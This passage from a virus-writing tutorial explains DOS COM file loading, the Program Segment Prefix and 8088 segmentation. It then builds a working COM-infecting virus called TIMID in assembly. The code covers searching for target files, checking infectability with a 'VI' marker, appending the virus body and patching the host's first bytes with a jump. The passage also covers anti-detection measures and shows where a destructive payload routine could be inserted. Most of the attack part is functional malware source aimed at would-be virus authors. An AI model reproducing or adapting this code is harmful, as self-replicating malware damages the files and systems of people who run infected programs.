Next, DOS builds a block of memory 256 bytes long known as the Program Segment Prefix, or PSP. The PSP is a remnant of an older operating system known as CP/M. CP/M was popular in the late seventies and early eighties as an operating system for microcomputers based on the 8080 and Z80 microprocessors. In the CP/M world, 64 kilobytes was all the memory a computer had. The lowest 256 bytes of that memory was reserved for the operating system itself to store crucial data. For example, location 5 in memory contained a jump instruction to get to the rest of the operating system, which was stored in high memory, and its location differed according to how much memory the computer had. Thus, programs written for these machines would access the operating system functions by calling location 5 in memory. When PC-DOS came along, it imitated CP/M because CP/M was very popular, and many programs had been written to work with it. So the PSP (and whole COM file concept) became a part of DOS. The result is that a lot of the information stored in the PSP is of little use to a DOS programmer today. Some of it is useful though, as we will see a little later.
| Offset | Size | Description |
|---|---|---|
| 0H | 2 | Int 20H Instruction |
| 2 | 2 | Address of Last allocated segment |
| 4 | 1 | Reserved, should be zero |
| 5 | 5 | Far call to DOS function dispatcher |
| A | 4 | Int 22H vector (Terminate program) |
| E | 4 | Int 23H vector (Ctrl-C handler) |
| 12 | 4 | Int 24H vector (Critical error handler) |
| 16 | 22 | Reserved |
| 2C | 2 | Segment of DOS environment |
| 2E | 34 | Reserved |
| 50 | 3 | Int 21H / RETF instruction |
| 53 | 9 | Reserved |
| 5C | 16 | File Control Block 1 |
| 6C | 20 | File Control Block 2 |
| 80 | 128 | Default DTA (command line at startup) |
| 100 | - | Beginning of COM program |
Figure 2: Format of the Program Segment Prefix.
Once the PSP is built, DOS takes the COM file stored on disk and loads it into memory just above the PSP, starting at offset 100H. Once this is done, DOS is almost ready to pass control to the program. Before it does, though, it must set up the registers in the CPU to certain predetermined values. First, the segment registers must be set properly, or a COM program cannot run. Let's take a look at the how's and why's of these segment registers.
In the 8088 microprocessor, all registers are 16 bit registers. The problem is that a 16 bit register will only allow one to address 64 kilobytes of memory. If you want to use more memory, you need more bits to address it. The 8088 can address up to one megabyte of memory using a process known as segmentation. It uses two registers to create a physical memory address that is 20 bits long instead of just 16. Such a register pair consists of a segment register, which contains the most significant bits of the address, and an offset register, which contains the least significant bits. The segment register points to a 16 byte block of memory, and the offset register tells how many bytes to add to the start of the 16 byte block to locate the desired byte in memory. For example, if the ds register is set to 1275 Hex and the bx register is set to 457 Hex, then the physical 20 bit address of the byte ds:[bx] is
1275H x 10H = 12750H
+ 457H
--------
12BA7H
No offset should ever have to be larger than 15, but one normally uses values up to the full 64 kilobyte range of the offset register. This leads to the possibility of writing a single physical address in several different ways. For example, setting ds = 12BA Hex and bx = 7 would produce the same physical address 12BA7 Hex as in the example above. The proper choice is simply whatever is convenient for the programmer. However, it is standard programming practice to set the segment registers and leave them alone as much as possible, using offsets to range through as much data and code as one can (64 kilobytes if necessary).
The 8088 has four segment registers, cs, ds, ss and es, which stand for Code Segment, Data Segment, Stack Segment, and Extra Segment, respectively. They each serve different purposes. The cs register specifies the 64K segment where the actual program instructions which are executed by the CPU are located. The Data Segment is used to specify a segment to put the program's data in, and the Stack Segment specifies where the program's stack is located. The es register is available as an extra segment register for the programmer's use. It might typically be used to point to the video memory segment, for writing data directly to video, etc.
COM files are designed to operate with a very simple, but limited segment structure. namely they have one segment, cs=ds=es=ss. All data is stored in the same segment as the program code itself, and the stack shares this segment. Since any given segment is 64 kilobytes long, a COM program can use at most 64 kilobytes for all of its code, data and stack. When PC's were first introduced, everybody was used to writing programs limited to 64 kilobytes, and that seemed like a lot of memory. However, today it is not uncommon to find programs that require several hundred kilobytes of code, and maybe as much data. Such programs must use a more complex segmentation scheme than the COM file format allows. The EXE file structure is designed to handle that complexity. The drawback with the EXE file is that the program code which is stored on disk must be modified significantly before it can be executed by the CPU. DOS does that at load time, and it is completely transparent to the user, but a virus that attaches to EXE files must not upset DOS during this modification process, or it won't work. A COM program doesn't require this modification process because it uses only one segment for everything. This makes it possible to store a straight binary image of the code to be executed on disk (the COM file). When it is time to run the program, DOS only needs to set up the segment registers properly and execute it.
The PSP is set up at the beginning of the segment allocated for the COM file, i.e. at offset 0. DOS picks the segment based on what free memory is available, and puts the PSP at the very start of that segment. The COM file itself is loaded at offset 100 Hex, just after the PSP. Once everything is ready, DOS transfers control to the beginning of the program by jumping to the offset 100 Hex in the code segment where the program was loaded. From there on, the program runs, and it accesses DOS occasionally, as it sees fit, to perform various I/O functions, like reading and writing to disk. When the program is done, it transfers control back to DOS, and DOS releases the memory reserved for that program and gives the user another command line prompt.
Figure 3: Memory map just before executing a COM file.
In order for a virus to reside in a COM file, it must get control passed to its code at some point during the execution of the program. It is conceivable that a virus could examine a COM file and determine how it might wrest control from the program at any point during its execution. Such an analysis would be very difficult, though, for the general case, and the resulting virus would be anything but simple. By far the easiest point to take control is right at the very beginning, when DOS jumps to the start of the program. At this time, the virus is completely free to use any space above the image of the COM file which was loaded into memory by DOS. Since the program itself has not yet executed, it cannot have set up data anywhere in memory, or moved the stack, so this is a very safe time for the virus to operate. At this stage, it isn't too difficult a task to make sure that the virus will not interfere with the host program to damage it or render it inoperative. Once the host program begins to execute, almost anything can happen, though, and the virus's job becomes much more difficult.
To gain control at startup time, a virus infecting a COM file must replace the first few bytes in the COM file with a jump to the virus code, which can be appended at the end of the COM file. Then, when the COM file is executed, it jumps to the virus, which goes about looking for more files to infect, and infecting them. When the virus is ready, it can return control to the host program. The problem in doing this is that the virus already replaced the first few bytes of the host program with its own code. Thus it must restore those bytes, and then jump back to offset 100 Hex, where the original program begins.
Figure 4: Replacing the first bytes in a COM file.
Here, then, is the basic plan for a simple viral infection of a COM file. Imagine a virus sitting in memory, which has just been activated. It goes out and infects another COM file with itself. Step by step, it might work like this:
Ok. So let's develop a real virus with these specifications. We will need both a search mechanism and a copy mechanism.
To understand how a virus searches for new files to infect on an IBM PC style computer operating under MS-DOS or PC-DOS, it is important to understand how DOS stores files and information about them. All of the information about every file on disk is stored in two areas on disk, known as the directory and the File Allocation Table, or FAT for short. The directory contains a 32 byte file descriptor record for each file. This descriptor record contains the file's name and extent, its size, date and time of creation, and the file attribute, which contains essential information for the operating system about how to handle the file. The FAT is a map of the entire disk, which simply informs the operating system which areas are occupied by which files.
Figure 5: The directory entry record format.
Each disk has two FAT's, which are identical copies of each other. The second is a backup, in case the first gets corrupted. On the other hand, a disk may have many directories. One directory, known as the root directory, is present on every disk, but the root may have multiple subdirectories, nested one inside of another to form a tree structure. These subdirectories can be created, used, and removed by the user at will. Thus, the tree structure can be as simple or as complex as the user has made it.
Both the FAT and the root directory are located in a fixed area of the disk, reserved especially for them. Subdirectories are stored just like other files with the file attribute set to indicate that this file is a directory. The operating system then handles this subdirectory file in a completely different manner than other files to make it look like a directory, and not just another file. The subdirectory file simply consists of a sequence of 32 byte records describing the files in that directory. It may contain a 32 byte record with the attribute set to directory, which means that this file is a subdirectory of a subdirectory.
The DOS operating system normally controls all access to files and subdirectories. If one wants to read or write to a file, he does not write a program that locates the correct directory on the disk, reads the file descriptor records to find the right one, figure out where the file is and read it. Instead of doing all of this work, he simply gives DOS the directory and name of the file and asks it to open the file. DOS does all the grunt work. This saves a lot of time in writing and debugging programs. One simply does not have to deal with the intricate details of managing files and interfacing with the hardware.
DOS is told what to do using interrupt service routines (ISR's). Interrupt 21H is the main DOS interrupt service routine that we will use. To call an ISR, one simply sets up the required CPU registers with whatever values the ISR needs to know what to do, and calls the interrupt. For example, the code
mov ds,SEG FNAME ;ds:dx points to filename
mov dx,OFFSET FNAME
xor al,al ;al=0
mov ah,3DH ;DOS function 3D
int 21H ;go do it
opens a file whose name is stored in the memory location FNAME in preparation for reading it into memory. This function tells DOS to locate the file and prepare it for reading. The "int 21H" instruction transfers control to DOS and lets it do its job. When DOS is finished opening the file, control returns to the statement immediately after the "int 21H". The register ah contains the function number, which DOS uses to determine what you are asking it to do. The other registers must be set up differently, depending on what ah is, to convey more information to DOS about what it is supposed to do. In the above example, the ds:dx register pair is used to point to the memory location where the name of the file to open is stored. The register al tells DOS to open the file for reading only.
All of the various DOS functions, including how to set up all the registers, are detailed in many books on the subject. Peter Norton's Programmer's Guide to the IBM PC is one of the better ones, so if you don't have that information readily available, I suggest you get a copy. Here we will only discuss the DOS functions we need, as we need them. This will probably be enough to get by. However, if you are going to write viruses of your own, it is definitely worthwhile knowing about all of the various functions you can use, as well as the finer details of how they work and what to watch out for.
To write a routine which searches for other files to infect, we will use the DOS search functions. The people who wrote DOS knew that many programs (not just viruses) require the ability to look for files and operate on them if any of the required type are found. Thus, they incorporated a pair of searching functions into the interrupt 21H handler, called Search First and Search Next. These are some of the more complicated DOS functions, so they require the user to do a fair amount of preparatory work before he calls them. The first step is to set up an ASCIIZ string in memory to specify the directory to search, and what files to search for. This is simply an array of bytes terminated by a null byte (0). DOS can search and report on either all the files in a directory or a subset of files which the user can specify by file attribute and by specifying a file name using the wildcard characters "?" and "*", which you should be familiar with from executing commands like copy *.* a: and dir a???_100.* from the command line in DOS. (If not, a basic book on DOS will explain this syntax.) For example, the ASCIIZ string
DB '\system\hyper.*',0
will set up the search function to search for all files with the name hyper, and any possible extent, in the subdirectory named system. DOS might find files like hyper.c, hyper.prn, hyper.exe, etc.
After setting up this ASCIIZ string, one must set the registers ds and dx up to the segment and offset of this ASCIIZ string in memory. Register cl must be set to a file attribute mask which will tell DOS which file attributes to allow in the search, and which to exclude. The logic behind this attribute mask is somewhat complex, so you might want to study it in detail in Appendix G. Finally, to call the Search First function, one must set ah = 4E Hex.
If the search first function is successful, it returns with register al = 0, and it formats 43 bytes of data in the Disk Transfer Area, or DTA. This data provides the program doing the search with the name of the file which DOS just found, its attribute, its size and its date of creation. Some of the data reported in the DTA is also used by DOS for performing the Search Next function. If the search cannot find a matching file, DOS returns al non-zero, with no data in the DTA. Since the calling program knows the address of the DTA, it can go examine that area for the file information after DOS has stored it there.
To see how this function works more clearly, let us consider an example. Suppose we want to find all the files in the currently logged directory with an extent "COM", including hidden and system files. The assembly language code to do the Search First would look like this (assuming ds is already set up correctly):
SRCH_FIRST:
mov dx,OFFSET COMFILE ; set offset of asciiz string
mov cl,00000110B ; set hidden and system attributes
mov ah,4EH ; search first function
int 21H ; call DOS
or al,al ; check to see if successful
jnz NOFILE ; go handle no file found condition
FOUND: ; come here if file found
COMFILE DB '*.COM',0
If this routine executed successfully, the DTA might look like this:
03 3F 3F 3F 3F 3F 3F 3F-3F 43 4F 4D 06 18 00 00 .????????COM.... 00 00 00 00 00 00 16 98-30 13 BC 62 00 00 43 4F ........0..b..CO 4D 4D 41 4E 44 2E 43 4F-4D 00 00 00 00 00 00 00 MMAND.COM.......
when the program reaches the label FOUND. In this case the search found the file COMMAND.COM.
In comparison with the Search First function, the Search Next is easy, because all of the data has already been set up by the Search First. Just set ah = 4F hex and call DOS interrupt 21H:
mov ah,4FH ;search next function
int 21H ;call DOS
or al,al ;see if a file was found
jnz NOFILE ;no, go handle no file found
FOUND2: ;else process the file
If another file is found the data in the DTA will be updated with the new file name, and ah will be set to zero on return. If no more matches are found, DOS will set ah to something besides zero on return. One must be careful here so the data in the DTA is not altered between the call to Search First and later calls to Search Next, because the Search Next expects the data from the last search call to be there.
Of course, the computer virus does not need to search through all of the COM files in a directory. It must find one that will be suitable to infect, and then infect it. Let us imagine a procedure FILE_OK. Given the name of a file on disk, it will determine whether that file is good to infect or not. If it is infectable, FILE_OK will return with the zero flag, z, set, otherwise it will return with the zero flag reset. We can use this flag to determine whether to continue searching for other files, or whether we should go infect the one we have found.
If our search mechanism as a whole also uses the z flag to tell the main controlling program that it has found a file to infect (z=file found, nz=no file found) then our completed search function can be written like this:
FIND_FILE:
mov dx,OFFSET COMFILE
mov al,00000110B
mov ah,4EH ;perform search first
int 21H
FF_LOOP:
or al,al ;any possibilities found?
jnz FF_DONE ;no - exit with z reset
call FILE_OK ;yes, go check if we can infect it
jz FF_DONE ;yes - exit with z set
mov ah,4FH ;no - search for another file
int 21H
jmp FF_LOOP ;go back up and see what happened
FF_DONE:
ret ;return to main virus control routine
Figure 6: Logic of the file search routine.
Study this search routine carefully. It is important to understand if you want to write computer viruses, and more generally, it is useful in a wide variety of programs of all kinds.
Of course, for our virus to work correctly, we have to write the FILE_OK function which determines whether a file should be infected or left alone. This function is particularly important to the success or failure of the virus, because it tells the virus when and where to move. If it tells the virus to infect a program which does not have room for the virus, then the newly infected program may be inadvertently ruined. Or if FILE_OK cannot tell whether a program has already been infected, it will tell the virus to go ahead and infect the same file again and again and again. Then the file will grow larger and larger, until there is no more room for an infection. For example, the routine
FILE_OK:
xor al,al
ret
simply sets the z flag and returns. If our search routine used this subroutine, it would always stop and say that the first COM file it found was the one to infect. The result would be that the first COM program in a directory would be the only program that would ever get infected. It would just keep getting infected again and again, and growing in size, until it exceeded its size limit and crashed. So although the above example of FILE_OK might enable the virus to infect at least one file, it would not work well enough for the virus to be able to start jumping from file to file.
A good FILE_OK routine must perform two checks: (1) it must check a file to see if it is too long to attach the virus to, and (2) it must check to see if the virus is already there. If the file is short enough, and the virus is not present, FILE_OK should return a "go ahead" to the search routine.
On entry to FILE_OK, the search function has set up the DTA with 43 bytes of information about the file to check, including its size and its name. Suppose that we have defined two labels, FSIZE and FNAME in the DTA to access the file size and file name respectively. Then checking the file size to see if the virus will fit is a simple matter. Since the file size of a COM file is always less than 64 kilobytes, we may load the size of the file we want to infect into the ax register:
mov ax,WORD PTR [FSIZE]
Next we add the number of bytes the virus will have to add to this file, plus 100H. The 100H is needed because DOS will also allocate room for the PSP, and load the program file at offset 100H. To determine the number of bytes the virus will need automatically, we simply put a label VIRUS at the start of the virus code we are writing and a label END_VIRUS at the end of it, and take the difference. If we add these bytes to ax, and ax overflows, then the file which the search routine has found is too large to permit a successful infection. An overflow will cause the carry flag c to be set, so the file size check will look something like this:
FILE_OK:
mov ax,WORD PTR [FSIZE]
add ax,OFFSET END_VIRUS - OFFSET VIRUS + 100H
jc BAD_FILE
.
.
.
GOOD_FILE:
xor al,al
ret
BAD_FILE:
mov al,1
or al,al
ret
This routine will suffice to prevent the virus from infecting any file that is too large.
The next problem that the FILE_OK routine must deal with is how to avoid infecting a file that has already been infected. This can only be accomplished if the virus has some understanding of how it goes about infecting a file. In the TIMID virus, we have decided to replace the first few bytes of the host program with a jump to the viral code. Thus, the FILE_OK procedure can go out and read the file which is a candidate for infection to determine whether its first instruction is a jump. If it isn't, then the virus obviously has not infected that file yet. There are two kinds of jump instructions which might be encountered in a COM file, known as a near jump and a short jump. The virus we create here will always use a near jump to gain control when the program starts. Since a short jump only has a range of 128 bytes, we could not use it to infect a COM file larger than 128 bytes. The near jump allows a range of 64 kilobytes. Thus it can always be used to jump from the beginning of a COM file to the virus, at the end of the program, no matter how big the COM file is (as long as it is really a valid COM file). A near jump is represented in machine language with the byte E9 Hex, followed by two bytes which tell the CPU how far to jump. Thus, our first test to see if infection has already occurred is to check to see if the first byte in the file is E9 Hex. If it is anything else, the virus is clear to go ahead and infect.
Looking for E9 Hex is not enough though. Many COM files are designed so the first instruction is a jump to begin with. Thus the virus may encounter files which start with an E9 Hex even though they have never been infected. The virus cannot assume that a file has been infected just because it starts with an E9. It must go farther. It must have a way of telling whether a file has been infected even when it does start with E9. If we do not incorporate this extra step into the FILE_OK routine, the virus will pass by many good COM files which it could infect because it thinks they have already been infected. While failure to incorporate such a feature into FILE_OK will not cause the virus to fail, it will limit its functionality.
One way to make this test simple and yet very reliable is to change a couple more bytes than necessary at the beginning of the host program. The near jump will require three bytes, so we might take two more, and encode them in a unique way so the virus can be pretty sure the file is infected if those bytes are properly encoded. The simplest scheme is to just set them to some fixed value. We'll use the two characters "VI" here. Thus, when a file begins with a near jump followed by the bytes "V"=56H and "I"=49H, we can be almost positive that the virus is there, and otherwise it is not. Granted, once in a great while the virus will discover a COM file which is set up with a jump followed by "VI" even though it hasn't been infected. The chances of this occurring are so small, though, that it will be no great loss if the virus fails to infect this rare one file in a million. It will infect everything else.
To read the first five bytes of the file, we open it with DOS Interrupt 21H function 3D Hex. This function requires us to set ds:dx to point to the file name (FNAME) and to specify the access rights which we desire in the al register. In the FILE_OK routine the virus only needs to read the file. Yet there we will try to open it with read/write access, rather than read-only access. If the file attribute is set to read-only, an attempt to open in read/write mode will result in an error (which DOS signals by setting the carry flag on return from INT 21H). This will allow the virus to detect read-only files and avoid them, since the virus must write to a file to infect it. It is much better to find out that the file is read-only here, in the search routine, than to assume the file is good to infect and then have the virus fail when it actually attempts infection. Thus, when opening the file, we set al = 2 to tell DOS to open it in read/write mode. If DOS opens the file successfully, it returns a file handle in ax. This is just a number which DOS uses to refer to the file in all future requests. The code to open the file looks like this:
mov ax,3D02H
mov dx,OFFSET FNAME
int 21H
jc BAD_FILE
Figure 7: The file handle and file pointer.
Once the file is open, the virus may perform the actual read operation, DOS function 3F Hex. To read a file, one must set bx equal to the file handle number and cx to the number of bytes to read from the file. Also ds:dx must be set to the location in memory where the data read from the file should be stored (which we will call START_IMAGE). DOS stores an internal file pointer for each open file which keeps track of where in the file DOS is going to do its reading and writing from. The file pointer is just a four byte long integer, which specifies which byte in the selected file a read or write operation refers to. This file pointer starts out pointing to the first byte in the file (file pointer = 0), and it is automatically advanced by DOS as the file is read from or written to. Since it starts at the beginning of the file, and the FILE_OK procedure must read the first five bytes of the file, there is no need to touch the file pointer right now. However, you should be aware that it is there, hidden away by DOS. It is an essential part of any file reading and writing we may want to do. When it comes time for the virus to infect the file, it will have to modify this file pointer to grab a few bytes here and put them there, etc. Doing that is much faster (and hence, less noticeable) than reading a whole file into memory, manipulating it in memory, and then writing it back to disk. For now, though, the actual reading of the file is fairly simple. It looks like this:
mov bx,ax ;put handle in bx
mov cx,5 ;prepare to read 5 bytes
mov dx,OFFSET START_IMAGE ;to START_IMAGE
mov ah,3FH
int 21H ;go do it
We will not worry about the possibility of an error in reading five bytes here. The only possible error is that the file is not long enough to read five bytes, and we are pretty safe in assuming that most COM files will have more than four bytes in them.
Finally, to close the file, we use DOS function 3E Hex and put the file handle in bx. Putting it all together, the FILE_OK procedure looks like this:
FILE_OK:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file
int 21H
jc FOK_NZEND ;error opening file - file can't be used
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add size of virus to it
jc FOK_NZEND ;c set if ax overflows (size > 64k)
cmp BYTE PTR [START_IMAGE],0E9H ;size ok-is first byte a near jmp?
jnz FOK_ZEND ;not near jmp, file must be ok, exit with z
cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
This completes our discussion of the search mechanism for the virus.
After the virus finds a file to infect, it must carry out the infection process. We have already briefly discussed how that is to be accomplished, but now let's write the code that will actually do it. We'll put all of this code into a routine called INFECT.
The code for INFECT is quite straightforward. First the virus opens the file whose name is stored at FNAME in read/write mode, just as it did when searching for a file, and it stores the file handle in a data area called HANDLE. This time, however we want to go to the end of the file and store the virus there. To do so, we first move the file pointer using DOS function 42H. In calling function 42H, the register bx must be set up with the file handle number, and cx:dx must contain a 32 bit long integer telling where to move the file pointer to. There are three different ways this function can be used, as specified by the contents of the al register. If al=0, the file pointer is set relative to the beginning of the file. If al=1, it is incremented relative to the current location, and if al=2, cx:dx is used as the offset from the end of the file. Since the first thing the virus must do is place its code at the end of the COM file it is attacking, it sets the file pointer to the end of the file. This is easy. Set cx:dx=0, al=2 and call function 42H:
xor cx,cx
mov dx,cx
mov bx,WORD PTR [HANDLE]
mov ax,4202H
int 21H
With the file pointer in the right location, the virus can now write itself out to disk at the end of this file. To do so, one simply uses the DOS write function, 40 Hex. To use function 40H one must set ds:dx to the location in memory where the data is stored that is going to be written to disk. In this case that is the start of the virus. Next, set cx to the number of bytes to write and bx to the file handle.
There is one problem here. Since the virus is going to be attaching itself to COM files of all different sizes, the address of the start of the virus code is not at some fixed location in memory. Every file it is attached to will put it somewhere else in memory. So the virus has to be smart enough to figure out where it is. To do this we will employ a trick in the main control routine, and store the offset of the viral code in a memory location named VIR_START. Here we assume that this memory location has already been properly initialized. Then the code to write the virus to the end of the file it is attacking will simply look like this:
mov cx,OFFSET FINAL - OFFSET VIRUS
mov bx,WORD PTR [HANDLE]
mov dx,WORD PTR [VIR_START]
mov ah,40H
int 21H
where VIRUS is a label identifying the start of the viral code and FINAL is a label identifying the end of the code. OFFSET FINAL - OFFSET VIRUS is independent of the location of the virus in memory.
Now, with the main body of viral code appended to the end of the COM file under attack, the virus must do some clean-up work. First, it must move the first five bytes of the COM file to a storage area in the viral code. Then it must put a jump instruction plus the code letters 'VI' at the start of the COM file. Since we have already read the first five bytes of the COM file in the search routine, they are sitting ready and waiting for action at START_IMAGE. We need only write them out to disk in the proper location. Note that there must be two separate areas in the virus to store five bytes of startup code. The active virus must have the data area START_IMAGE to store data from files it wants to infect, but it must also have another area, which we'll call START_CODE. This contains the first five bytes of the file it is actually attached to. Without START_CODE, the active virus will not be able to transfer control to the host program it is attached to when it is done executing.
Figure 8: START_IMAGE and START_CODE.
To write the first five bytes of the file under attack, the virus must take the five bytes at START_IMAGE, and store them where START_CODE is located on disk. First, the virus sets the file pointer to the location of START_CODE on disk. To find that location, one must take the original file size (stored at FSIZE by the search routine), and add OFFSET START_CODE - OFFSET VIRUS to it, moving the file pointer with respect to the beginning of the file:
xor cx,cx
mov dx,WORD PTR [FSIZE]
add dx,OFFSET START_CODE - OFFSET VIRUS
mov bx,WORD PTR [HANDLE]
mov ax,4200H
int 21H
Next, the virus writes the five bytes at START_IMAGE out to the file:
mov cx,5
mov bx,WORD PTR [HANDLE]
mov dx,OFFSET START_IMAGE
mov ah,40H
int 21H
The final step in infecting a file is to set up the first five bytes of the file with a jump to the beginning of the virus code, along with the identification letters "VI". To do this, first position the file pointer to the beginning of the file:
xor cx,cx
mov dx,cx
mov bx,WORD PTR [HANDLE]
mov ax,4200H
int 21H
Next, we must set up a data area in memory with the correct information to write to the beginning of the file. START_IMAGE is a good place to set up these bytes since the data there is no longer needed for anything. The first byte should be a near jump instruction, E9 Hex:
mov BYTE PTR [START_IMAGE],0E9H
The next two bytes should be a word to tell the CPU how many bytes to jump forward. This byte needs to be the original file size of the host program, plus the number of bytes in the virus which are before the start of the executable code (we will put some data there). We must also subtract 3 from this number because the relative jump is always referenced to the current instruction pointer, which will be pointing to 103H when the jump is actually executed. Thus, the two bytes telling the program where to jump are set up by
mov ax,WORD PTR [FSIZE]
add ax,OFFSET VIRUS_START - OFFSET VIRUS -3
mov WORD PTR [START_IMAGE+1],ax
Finally set up the ID bytes 'VI' in our five byte data area,
mov WORD PTR [START_IMAGE+3],4956H ;'VI'
write the data to the start of the file, using the DOS write function,
mov cx,5
mov dx,OFFSET START_IMAGE
mov bx,WORD PTR [HANDLE]
mov ah,40H
int 21H
and then close the file using DOS,
mov ah,3EH
mov bx,WORD PTR [HANDLE]
int 21H
This completes the copy mechanism.
One problem we must face in creating this virus is how to locate data. Since all jumps and calls in a COM file are relative, we needn't do anything fancy to account for the fact that the virus must relocate itself as it copies itself from program to program. The jumps and calls relocate themselves automatically. Handling the data is not as easy. A data reference like
mov bx,WORD PTR [HANDLE]
Figure 9: Absolute data address catastrophe.
refers to an absolute offset in the program segment labeled HANDLE. We cannot just define a word in memory using an assembler directive like
HANDLE DW 0
and then assemble the virus and run it. If we do that, it will work right the first time. Once it has attached itself to a new program, though, all the memory addresses will have changed, and the virus will be in big trouble. It will either bomb out itself, or cause its host program to bomb.
There are two ways to avoid catastrophe here. Firstly, one could put all of the data together in one place, and write the program to dynamically determine where the data is and store that value in a register (e.g. si) to access it dynamically, like this:
mov bx,[si+HANDLE_OFS]
where HANDLE_OFS is the offset of the variable HANDLE from the start of the data area.
Alternatively, we could put all of the data in a fixed location in the code segment, provided we're sure that neither the virus nor the host will ever occupy that space. The only safe place to do this is at the very end of the segment, where the stack resides. Since the virus takes control of the CPU first when the COM file is executed, it will control the stack also. Thus we can determine exactly what the stack is doing, and stay out of its way. This is the method we choose. When the virus first gains control, the stack pointer, sp, is set to FFFF Hex. If it calls a subroutine, the address directly after the call is placed on the stack, in the bytes FFFF Hex and FFFE Hex in the program's segment, and the stack pointer is decremented by two, to FFFD Hex. When the CPU executes the return instruction in the subroutine, it uses the two bytes stored by the call to determine where to return to, and increments the stack pointer by two. Likewise, executing a push instruction decrements the stack by two bytes and stores the desired register at the location of the stack pointer. The pop instruction reverses this process. The int instruction requires five bytes of stack space, and this includes calls to hardware interrupt handlers, which may be accessed at any time in the program without warning, one on top of the other.
The data area for the virus can be located just below the memory required for the stack. The exact amount of stack space required is rather difficult to determine, but 80 bytes will be more than sufficient. The data will go right below these 80 bytes, and in this manner its location may be fixed. One must simply take account of the space it takes up when determining the maximum size of a COM file in the FILE_OK routine.
Of course, one cannot put initialized variables on the stack. They must be stored with the program on disk. To store them near the end of the program segment would require the virus to expand the file size of every file to near the 64K limit. Such a drastic change in file sizes would quickly tip the user off that his system has been infected! Instead, initialized variables should be stored with the executable virus code. This strategy will keep the number of bytes which must be added to the host to a minimum. (Thus it is a worthwhile anti-detection measure.) The drawback is that such variables must then be located dynamically by the virus at run time.
Fortunately, we have only one piece of data which must be pre-initialized, the string used by DOS in the search routine to locate COM files, which we called simply "COMFILE". If you take a look back to the search routine, you'll notice that we already took the relocatability of this piece of data into account when we retrieved it using the instructions
mov dx,WORD PTR [VIR_START]
add dx,OFFSET COMFILE - OFFSET VIRUS
instead of simply
mov dx,OFFSET COMFILE
Now we have all the tools to write the TIMID virus. All that is necessary is a master control routine to pull everything together. This master routine must:
To determine the location of the virus in memory, we use a simple trick. The first instruction in the master control routine will look like this:
VIRUS:
COMFILE DB '*.COM',0
VIRUS_START:
call GET_START
GET_START:
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS
The call pushes the absolute address of GET_START onto the stack at FFFC Hex (since this is the first instruction of the virus, and the first instruction to use the stack). At that location, we overlay the stack with a word variable called VIR_START. We then subtract the difference in offsets between GET_START and the first byte of the virus, labeled VIRUS. This simple programming trick gets the absolute offset of the first byte of the virus in the program segment, and stores it in an easily accessible variable.
Next comes an important anti-detection step: The master control routine moves the Disk Transfer Area (DTA) to the data area for the virus using DOS function 1A Hex,
mov dx,OFFSET DTA
mov ah,1AH
int 21H
This move is necessary because the search routine will modify data in the DTA. When a COM file starts up, the DTA is set to a default value of an offset of 80 H in the program segment. The problem is that if the host program requires command line parameters, they are stored for the program at this same location. If the DTA were not changed temporarily while the virus was executing, the search routine would overwrite any command line parameters before the host program had a chance to access them. That would cause any infected COM program which required a command line parameter to bomb. The virus would execute just fine, and host programs that required no parameters would run fine, but the user could spot trouble with some programs. Temporarily moving the DTA eliminates this problem.
With the DTA moved, the main control routine can safely call the search and copy routines:
call FIND_FILE ;try to find a file to infect
jnz EXIT_VIRUS ;jump if no file was found
call INFECT ;else infect the file
EXIT_VIRUS:
Finally, the master control routine must return control to the host program. This involves three steps: Firstly, restore the DTA to its initial value, offset 80H,
mov dx,80H
mov ah,1AH
int 21H
Next, move the first five bytes of the original host program from the data area START_CODE where they are stored to the start of the host program at 100H,
Finally, the virus must transfer control to the host program at 100H. This requires a trick, since one cannot simply say "jmp 100H" because such a jump is relative, so that instruction won't be jumping to 100H as soon as the virus moves to another file, and that spells disaster. One instruction which does transfer control to an absolute offset is the return from a call. Since we did a call right at the start of the master control routine, and we haven't executed the corresponding return yet, executing the ret instruction will both transfer control to the host, and it will clear the stack. Of course, the return address must be set to 100H to transfer control to the host, and not somewhere else. That return address is just the word at VIR_START. So, to transfer control to the host, we write
mov WORD PTR [VIR_START],100H
ret
Bingo, the host program takes over and runs as if the virus had never been there.
As written, this master control routine is a little dangerous, because it will make the virus completely invisible to the user when he runs a program... so it could get away. It seems wise to tame the beast a bit when we are just starting. So, after the call to INFECT, let's just put a few extra lines in to display the name of the file which the virus just infected:
call INFECT
mov dx,OFFSET FNAME ;dx points to FNAME
mov WORD PTR [HANDLE],24H ;'$' string terminator
mov ah,9 ;DOS string write fctn
int 21H
EXIT_VIRUS:
This uses DOS function 9 to print the string at FNAME, which is the name of the file that was infected. Note that if someone wanted to make a malicious monster out of this virus, the destructive code could easily be put here, or after EXIT_VIRUS, depending on the conditions under which destructive activity was desired. For example, our hacker could write a routine called DESTROY, which would wreak all kinds of havoc, and then code it in like this:
call INFECT
call DESTROY
EXIT_VIRUS:
if one wanted to do damage only after a successful infection took place, or like this:
call INFECT
EXIT_VIRUS:
call DESTROY
if one wanted the damage to always take place, no matter what, or like this:
call FIND_FILE
jnz DESTROY
call INFECT
EXIT_VIRUS:
if one wanted damage to occur only in the event that the virus could not find a file to infect, etc., etc. I say this not to suggest that you write such a routine-please don't-but just to show you how easy it would be to control destructive behavior in a virus (or any other program, for that matter).
To compile and run the virus, it must be attached to a host program. It cannot exist by itself. In writing the assembly language code for this virus, we have to set everything up so the virus thinks it's already attached to some COM file. All that is needed is a simple program that does nothing but exit to DOS. To return control to DOS, a program executed DOS function 4C Hex. That just stops the program from running, and DOS takes over. When function 4C is executed, a return code is put in al by the program making the call, where al=0 indicates successful completion of the program. Any other value indicates some kind of error, as determined by the program making the DOS call. So, the simplest COM program would look like this:
mov ax,4C00H
int 21H
